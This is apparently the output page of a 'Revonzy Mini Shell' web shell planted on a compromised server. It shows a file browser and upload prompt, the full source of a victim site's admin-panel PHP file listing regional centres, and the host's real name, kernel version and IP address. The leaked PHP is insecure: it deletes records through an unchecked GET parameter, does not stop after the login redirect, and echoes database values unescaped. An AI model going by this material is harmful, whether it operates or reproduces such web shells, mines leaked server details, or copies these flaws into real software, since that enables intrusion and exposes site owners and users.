Revonzy Mini Shell

Revonzy Mini Shell

Şuanki Dizin: /home/wwwdreamtechnolo/www/panel.atsevairag.com/old2/atse_admin_panel007/
Dosya Yükle :
Şuanki Dosya : /home/wwwdreamtechnolo/www/panel.atsevairag.com/old2/atse_admin_panel007/centres-report.php

<?php
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);
	require_once("../lib/class/functions.php");
	
	$db = new functions();
	
	$current_page = "";


 	// if(isset($_SESSION['current_admn_email'])) 
    // {
    //     $current_admn_email = $_SESSION['current_admn_email'];
    // }	
    // // echo $current_admn_email;;;
    
    if (isset($_SESSION['current_admn_email']) && isset($_SESSION['current_login_user_type'])) 
    {
    $session_email = $_SESSION['current_admn_email'];
    $atse_year = $_SESSION['current_atse_year'];
    $user_type = $_SESSION['current_login_user_type'];
    }
	// echo $user_type,$session_email;
	if(!isset($_SESSION['current_admn_email']))
	{	
		header("Location:/atse_admin_panel007/index.php");
	}
	
	if(isset($_GET['center_del_id']))
	{	
		$delete_id = $_GET['center_del_id'];		
		$db->delete_center($delete_id);
	}
?>
<html>
<head>
	<meta charset="UTF-8">
	<title>ATSE Vairag</title>
	<link rel="stylesheet" type="text/css" href="../css/stylesheet.css" />
	<script type="text/javascript" src="../js/jquery-1.9.1.min.js"></script>
	<script type="text/javascript" src="../js/site.js"></script>
</head>
<body>

<?php
	require_once('header.php');
?>
	
	<div style="min-height:570px;">
	
		<div class="admin-mid-section">
			<br />
			<center><strong>केंद्राची लिस्ट</strong></center>
			<hr />
			<table class="centre_tab" border="1" cellspacing="0">
				<tr style="background-color:#EFEFEF;">
				    <td width="50">अ. क्र.</td>
					<td width="50">ऍड बाय</td>
					<td width="180">केंद्राचे नाव</td>
					<td width="200">पत्ता</td>
					<td width="100">संपर्क व्यक्ती</td>
					<td width="100">संपर्क नंबर</td>
					<td width="80">फॅक्स नंबर</td>
					<td width="120">इमेल आय-डी</td>
					<td width="150">जिल्हा</td>
					<td width="150">तालुका</td>
					<td width="120">दिनांक</td>
					<td width=""></td>
					<?php 
						if($_SESSION['current_login_user_type']=="admin")
						{
					?>
					<td width="20">Delete</td>
					<?php
						}
					?>
				</tr>
		<?php
			if($_SESSION['current_login_user_type']=="admin")
			{
				$centres_list = array();
				$centres_list = $db->get_all_centres_by_search();
				
				if(!empty($centres_list))
				{
					$count = 0;
					foreach($centres_list as $centre)
					{
						$id			=	$centres_list[$count][0];
						$center_name=	$centres_list[$count][1];
						$address	=	$centres_list[$count][2];
						$contact_no	=	$centres_list[$count][3];
						$fax_number	=	$centres_list[$count][4];
						$email_id	=	$centres_list[$count][5];
						$jilha		=	$centres_list[$count][6];
						$date		=	$centres_list[$count][7];
						$time		=	$centres_list[$count][8];
						$contact_person	=$centres_list[$count][9];
						$taluka		=	$centres_list[$count][10];
						$added_by	=	$centres_list[$count][11];
				?>
				<tr>
					<td width="50"><?php echo $id; ?></td>
					<td width="180"><?php echo $added_by; ?></td>
					<td width="180"><?php echo $center_name; ?></td>
					<td width="250"><?php echo $address; ?></td>
					<td><?php echo $contact_person; ?></td>
					<td width="100"><?php echo $contact_no; ?></td>
					<td width="80"><?php echo $fax_number; ?></td>
					<td width="120"><?php echo $email_id; ?></td>
					<td width="150"><?php echo $jilha; ?></td>
					<td width="150"><?php echo $taluka; ?></td>
					<td width="120"><?php echo $date; ?></td>
					<td width="60"><a href="edit-center.php?edt_center_id=<?php echo $id; ?>">Edit</a></td>

					<?php 
							if($_SESSION['current_login_user_type']=="admin")
							{
						?>
					<td width="60"><a href="<?php echo $_SERVER['PHP_SELF']."?center_del_id=".$id; ?>" class="delete_link_report" id="center_delete_link">Delete</a></td>
					<?php 
							}
						?>

				</tr>
			<?php		
						

						$count++;
					}
				}
				else
				{
			?>
				<tr>
					<td colspan="10">कोणतेही केंद्र नोंद केलेले नाही</td>
				</tr>	
			<?php
				}
			}
			else if ($_SESSION['current_login_user_type'] == "Pratinidhi") {
				    $centres_list = $db->get_all_centres_by_search_for_prathinidhi($session_email);
				    
				    if (!empty($centres_list)) {
				        foreach ($centres_list as $centre) {
				            $id = $centre[0];
				            $center_name = $centre[1];
				            $contact_person_name = $centre[2];
				            $address = $centre[3];
				            $contact_no = $centre[4];
				            $fax_number = $centre[5];
				            $email_id = $centre[6];
				            $jilha = $centre[7];
				            $date = $centre[8];
				            $time = $centre[9];
				            $taluka = $centre[10];
				            $added_by = $centre[11];
				            ?>
				            <tr>
				                <td width="50"><?php echo $id; ?></td>
				                <td width="180"><?php echo $added_by; ?></td>
				                <td width="180"><?php echo $center_name; ?></td>
				                <td width="250"><?php echo $address; ?></td>
				                <td><?php echo $contact_person_name; ?></td>
				                <td width="100"><?php echo $contact_no; ?></td>
				                <td width="80"><?php echo $fax_number; ?></td>
				                <td width="120"><?php echo $email_id; ?></td>
				                <td width="150"><?php echo $jilha; ?></td>
				                <td width="150"><?php echo $taluka; ?></td>
				                <td width="120"><?php echo $date; ?></td>
				                <td width="60"><a href="edit-center.php?edt_center_id=<?php echo $id; ?>">Edit</a></td>
				                <?php if ($_SESSION['current_login_user_type'] == "admin") { ?>
				                <td width="60"><a href="<?php echo $_SERVER['PHP_SELF']."?center_del_id=".$id; ?>" class="delete_link_report" id="center_delete_link">Delete</a></td>
				                <?php } ?>
				            </tr>
				            <?php
				        }
				    } else {
				        echo '<tr><td colspan="12">कोणतेही केंद्र नोंद केलेले नाही</td></tr>'; // No centers found
				    }
				}
				?>
			</table>
		</div>
	</div>
	
	<?php
		require_once('footer.php');
	?>

</body>
</html>

EliteHackz.ORG
Revonzy Mini Shell
root@revonzy.com

Linux 65-254-81-4.cprapid.com 5.14.0-284.11.1.el9_2.x86_64 #1 SMP PREEMPT_DYNAMIC Tue May 9 05:49:00 EDT 2023 x86_64
Apache
65.254.81.4